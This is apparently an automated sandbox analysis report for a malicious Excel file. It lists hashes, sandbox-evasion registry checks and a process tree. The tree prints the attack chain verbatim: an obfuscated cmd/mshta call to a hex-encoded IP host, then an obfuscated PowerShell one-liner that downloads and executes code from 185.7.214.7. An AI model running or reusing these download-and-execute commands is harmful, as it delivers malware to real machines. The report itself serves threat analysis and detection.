54c4606892b1fede80e10591041b980262e6a780b2017de3ce6779d96d862a44

General

Target
40fd1afbbbf501d3631eaf793dd7697e.xls
Size 141KB
Sample220119-xqdzqsced2
SHA256 54c4606892b1fede80e10591041b980262e6a780b2017de3ce6779d96d862a44
MD5 40fd1afbbbf501d3631eaf793dd7697e
SHA1 85773db1aa5f0a752caf513e16d4eff92ccc06c6
SHA512 67e084f5d454d331ce5c960ab9c624d8001dd0a32f9c4d7d6045b94b789fa0518e1b9630513b4ecb2b6e39b1ebe14fb34d074e483db2c4a827527c77a56f13cb
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2260	2980	cmd.exe	51

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2984	2488	WerFault.exe	62

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2980	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2980	EXCEL.EXE
2980	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2980	EXCEL.EXE
2980	EXCEL.EXE
2980	EXCEL.EXE
2980	EXCEL.EXE
2980	EXCEL.EXE
2980	EXCEL.EXE
2980	EXCEL.EXE
2980	EXCEL.EXE
2980	EXCEL.EXE
2980	EXCEL.EXE
2980	EXCEL.EXE
2980	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2980 wrote to memory of 3184	2980	EXCEL.EXE	56
PID 2980 wrote to memory of 3184	2980	EXCEL.EXE	56
PID 2980 wrote to memory of 2260	2980	EXCEL.EXE	60
PID 2980 wrote to memory of 2260	2980	EXCEL.EXE	60

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\40fd1afbbbf501d3631eaf793dd7697e.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2980
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3184
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  PID:2260
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    PID:2488
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:3032
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2488 -s 1720
      4⤵
      Program crash
      PID:2984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:2024

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 448 -p 2488 -ip 2488
1⤵
PID:2624

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2980-130-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/2980-131-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/2980-132-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/2980-133-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/2980-134-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp

Download

memory/2980-137-0x00007FF8A4630000-0x00007FF8A4640000-memory.dmp

Download

memory/2980-138-0x00007FF8A4630000-0x00007FF8A4640000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads